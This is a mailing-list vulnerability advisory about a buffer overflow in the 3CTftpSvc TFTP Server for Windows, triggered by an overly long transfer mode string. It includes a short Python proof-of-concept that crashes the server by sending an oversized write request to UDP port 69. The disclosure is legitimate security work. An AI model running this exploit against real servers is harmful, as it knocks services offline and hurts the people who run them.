<<< Date Index >>>     <<< Thread Index >>>

TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)



TFTP Server 3CTftpSvc Buffer Overflow Vulnerability (Long transporting mode)

------------------------------------------------------------------
SUMMARY:

3CTftpSvc TFTP Server is a Freeware TFTP server for Windows 9x/NT/XP.
(http://support.3com.com/software/utilities_for_windows_32_bit.htm 
or ftp://ftp.3com.com/pub/utilbin/win32/3CTftpSvc.zip) 
It provides an implementation of the TFTPv2 protocol.

A vulnerability has been identified in 3CTftpSvc TFTP Server, which could be 
exploited by attackers to execute arbitrary commands or cause a denial of 
service. This flaw is due to a buffer overflow error when handling an overly 
long transporting mode (more than 470 bytes) passed to a "GET" or "PUT" 
command, which could be exploited by malicious users to compromise a vulnerable 
system or crash an affected application.
----------
DETAILS:

 Vulnerable systems: 3CTftpSvc TFTP Server 2.0.1 and probable prior
 
Exploit:

#!/usr/bin/python
# Buffer Overflow (Long transporting mode) Vulnerability Exploit
# This is just a DoS exploiting code
# Tested on Windows xp SP2
#
# Requires python and impacket
#
# Coded by Liu Qixu Of NCNIPC

import socket
import sys

host = '192.168.1.11'
port = 69

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except: 
    print "socket() failed"         
    sys.exit(1)

filename = "A" 
mode = "netascii" + "A" * 469
da = "\x00\x02" + filename + "\0" + mode + "\0"
s.sendto(da, (host, port))

------------------------------------------
Liu Qixu
NCNIPC